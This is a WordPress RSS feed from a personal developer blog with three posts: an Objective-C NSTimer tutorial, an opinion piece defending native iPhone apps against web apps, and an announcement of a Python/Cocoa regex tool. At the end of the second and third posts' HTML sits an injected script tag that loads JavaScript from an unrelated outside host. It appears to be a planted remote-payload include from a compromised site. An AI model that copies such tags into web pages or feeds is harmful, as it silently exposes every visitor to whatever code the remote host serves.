<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ryan IRL &#187; Cocoa</title>
	<atom:link href="http://ryanleland.com/category/cocoa/feed/" rel="self" type="application/rss+xml" />
	<link>http://ryanleland.com</link>
	<description>I love technology.</description>
	<lastBuildDate>Mon, 26 Jul 2010 01:00:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Intro to Using NSTimer</title>
		<link>http://ryanleland.com/2010/01/intro-to-using-nstimer/</link>
		<comments>http://ryanleland.com/2010/01/intro-to-using-nstimer/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 06:53:29 +0000</pubDate>
		<dc:creator>Ryan Leland</dc:creator>
				<category><![CDATA[Cocoa]]></category>

		<guid isPermaLink="false">http://ryanleland.com/?p=75</guid>
		<description><![CDATA[I&#8217;ve been wanting to start writing some simple Cocoa tutorials lately, and I&#8217;m going to start with something easy, yet potentially frustrating. Timers. NSTimer is a great class for triggering timed events. Even though timed events aren&#8217;t really hard to implement, they can be tricky to do right. For starters, you need a run loop, [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been wanting to start writing some simple Cocoa tutorials lately, and I&#8217;m going to start with something easy, yet potentially frustrating. Timers. NSTimer is a great class for triggering timed events. Even though timed events aren&#8217;t really hard to implement, they can be tricky to do right. For starters, you need a run loop, a timer, a way to keep track of time elapsed since last cycle (delta time), and probably some thread management (if you don&#8217;t want other processes to be blocked). Why not spend that extra time writing something that makes your application better, right?</p>
<p>There are pretty much two types of timers with two styles of setting the callback. There is the scheduled timer which adds the timer to a default run loop which will start the timer automatically, and there is the standard timer which must be added to an NSRunLoop (which I won&#8217;t cover here). Both types have a variation which can be initialized with an NSInvocation class, which is really a fancier way of setting the callback (target selector). So let&#8217;s start with the most basic example of how you would initialize, and use NSTimer.</p>

<div class="wp_syntax"><div class="code"><pre class="objc" style="font-family:monospace;"><span style="color: #11740a; font-style: italic;">// Assume this is in a controller class, or somewhere equally useful</span>
&nbsp;
<span style="color: #002200;">-</span> <span style="color: #002200;">&#40;</span><span style="color: #400080;">NSTimer</span><span style="color: #002200;">&#41;</span>createTimer <span style="color: #002200;">&#123;</span>
    <span style="color: #11740a; font-style: italic;">// Create a managed timer (don't need to add to the run loop!)</span>
    self.timer <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span><span style="color: #400080;">NSTimer</span> scheduledTimerWithTimeInterval<span style="color: #002200;">:</span><span style="color: #2400d9;">0.5</span>
        target<span style="color: #002200;">:</span>self selector<span style="color: #002200;">:</span><span style="color: #a61390;">@selector</span><span style="color: #002200;">&#40;</span>targetMethod<span style="color: #002200;">:</span><span style="color: #002200;">&#41;</span>
        userInfo<span style="color: #002200;">:</span><span style="color: #a61390;">nil</span> repeats<span style="color: #002200;">:</span><span style="color: #a61390;">YES</span><span style="color: #002200;">&#93;</span>;
&nbsp;
    <span style="color: #a61390;">return</span> self.timer;
<span style="color: #002200;">&#125;</span>
&nbsp;
<span style="color: #002200;">-</span> <span style="color: #002200;">&#40;</span><span style="color: #a61390;">void</span><span style="color: #002200;">&#41;</span>targetMethod<span style="color: #002200;">:</span><span style="color: #002200;">&#40;</span><span style="color: #400080;">NSTimer</span><span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span>timer <span style="color: #002200;">&#123;</span>
    NSLog<span style="color: #002200;">&#40;</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;targetMethod called!&quot;</span><span style="color: #002200;">&#41;</span>;
<span style="color: #002200;">&#125;</span></pre></div></div>

<p>Now that example will fire the timer as soon as you call createTimer, and trigger the targetMethod until you quit the application or call <code>[self.timer invalidate];</code>. It should be noted that with this method the target HAS to take the timer as an argument.</p>
<p>What if you KNOW you won&#8217;t need a repeating timer though? There must be an easier way. Well, there is. Every NSObject class has the method <a href="http://developer.apple.com/mac/library/documentation/cocoa/Reference/Foundation/Classes/NSObject_Class/Reference/Reference.html#//apple_ref/occ/instm/NSObject/performSelector:withObject:afterDelay:">performSelector:withObject:afterDelay:</a> which makes life even easier.</p>
<p>More complete examples on NSTimer can be found in the <a href="http://developer.apple.com/mac/library/documentation/cocoa/Conceptual/Timers/Articles/usingTimers.html#//apple_ref/doc/uid/20000807">reference library</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ryanleland.com/2010/01/intro-to-using-nstimer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPhone developers aren&#8217;t stupid.</title>
		<link>http://ryanleland.com/2009/11/iphone-developers-arent-stupid-consumers-know-what-they-are-willing-to-pay-for/</link>
		<comments>http://ryanleland.com/2009/11/iphone-developers-arent-stupid-consumers-know-what-they-are-willing-to-pay-for/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 03:01:15 +0000</pubDate>
		<dc:creator>Ryan Leland</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Cocoa]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://ryanleland.com/?p=39</guid>
		<description><![CDATA[Consumers just know what they want. This morning I read an article that pissed me off. It pissed me off because there were parts I agreed with, and it pissed me off because so much of the community agreed with the parts I didn&#8217;t. It was also frustrating because I couldn&#8217;t quite express just why [...]]]></description>
			<content:encoded><![CDATA[<h2>Consumers just know what they want.</h2>
<p>This morning I read <a href="http://www.quirksmode.org/blog/archives/2009/11/apple_is_not_ev.html">an article that pissed me off</a>. It pissed me off because there were parts I agreed with, and it pissed me off because <a href="http://news.ycombinator.com/item?id=957314">so much of the community agreed with</a> the parts I didn&#8217;t. It was also frustrating because I couldn&#8217;t quite express just why it frustrated me so much, but now I can. The article made some big statements about app developers, and even bigger assumptions about what consumers want.</p>
<p>I happen to have written some cocoa, and even a few web apps in my time, and frankly, there are downsides on either side of the fence. It&#8217;s no doubt that the web has caught up to desktop applications in a pretty big way in the last 3-4 years. There was a time I would have never considered paying for a web application, let alone think of it as replacing a desktop app. Apps like Google docs, and a few <a href="http://lifetick.com/">productivity apps</a> have proven me wrong.</p>
<p>There are still some good reasons for native apps though, and the sales figures on Apples app store speak for themselves. I think consumers might actually know what they want.</p>
<h2>1. Convenience</h2>
<p>On the app store, you can buy an application in seconds, and usually for the price of a coffee. On the web, it might mean a sign-up process, and usually involves digging out a credit card or paypal password. There is effort required for something that should be serving you. Pricing is also a part of this. I&#8217;d rather pay $1.99 for an app a might only try for a few minutes, than spend $20+ a year for subscription I might have to remember to cancel in a few months. I&#8217;d rather throw a dice than make a commitment.</p>
<h2>2. Experience</h2>
<p>The other aspect is user experience. If I am using iPhone apps, I expect each application to behave in a certain way, and have a certain look. If I see a table view in 5 different apps, I know they are going to behave in the same way. I&#8217;m willing to pay a few bucks for that. On the web, you are at the mercy of what the developer thinks UI should behave like. Performance is also a pretty big part of this. I don&#8217;t have to wait for UI images, CSS, or javascript to load before I can start using most native apps. It&#8217;s usually just there when I want it. I know arguments can be made for local caching, and optimization, but that&#8217;s assuming a lot about the skills of the developer, and generally comes as an after thought.</p>
<h2>3. Ownership</h2>
<p>This is probably my lamest argument of all, but it&#8217;s hard to deny it&#8217;s importance. I like the feeling that an app is downloaded to my device all tucked away in the filesystem with my preferences in a (mostly) secure location. With a web app, I&#8217;m at the mercy of the developer deciding his app isn&#8217;t paying the server bills, the network going down, and my personal information being who knows where.</p>
<h2>These aren&#8217;t significant issues.</h2>
<p>I really believe in the web as a platform, but I also think that the line between native apps and &#8220;the cloud&#8221; is starting to fade.  As a developer, the biggest difference is the tools and the delivery. I happen to think that building a native app and maintaining it without the worry of infrastructure would be pretty nice for a change. It can also be a joy to use proprietary tools when they are well thought out, and work when you need them to. The app store is necessary, and so is the web. It&#8217;s a great time to be developing for either. Take some time to think about which type of app your customers would want before you begin the bashing.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ryanleland.com/2009/11/iphone-developers-arent-stupid-consumers-know-what-they-are-willing-to-pay-for/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introducing: RegEx Chum</title>
		<link>http://ryanleland.com/2009/08/introducing-regex-chum/</link>
		<comments>http://ryanleland.com/2009/08/introducing-regex-chum/#comments</comments>
		<pubDate>Thu, 06 Aug 2009 04:41:04 +0000</pubDate>
		<dc:creator>Ryan Leland</dc:creator>
				<category><![CDATA[Cocoa]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://ryanleland.com/?p=29</guid>
		<description><![CDATA[I just started working on my RexEx tool using Cocoa and Python. It&#8217;s been an interesting project so far due to only really picking up Python in the last month or so, but I&#8217;m still finding it very natural to use, and easy to write a ton of code with. I figured a RegEx tool [...]]]></description>
			<content:encoded><![CDATA[<p>I just started working on my RexEx tool using <a title="PyObjC" href="http://pyobjc.sourceforge.net/" target="_blank">Cocoa and Python</a>. It&#8217;s been an interesting project so far due to only really picking up Python in the last month or so, but I&#8217;m still finding it very natural to use, and easy to write a ton of code with. I figured a RegEx tool would be a useful app for myself, and a good way to get better with Python, and RegEx. I&#8217;m hoping I can have something people can download by next week so I can get some feedback, but as you can see I already have some basics in place.</p>
<p><div id="attachment_30" class="wp-caption aligncenter" style="width: 873px"><img class="size-full wp-image-30  " title="RexEx Chum" src="http://ryanleland.com/wp-content/uploads/2009/08/Picture-2.png" alt="Some early progress." width="863" height="514" /><p class="wp-caption-text">Some early progress</p></div><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ryanleland.com/2009/08/introducing-regex-chum/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
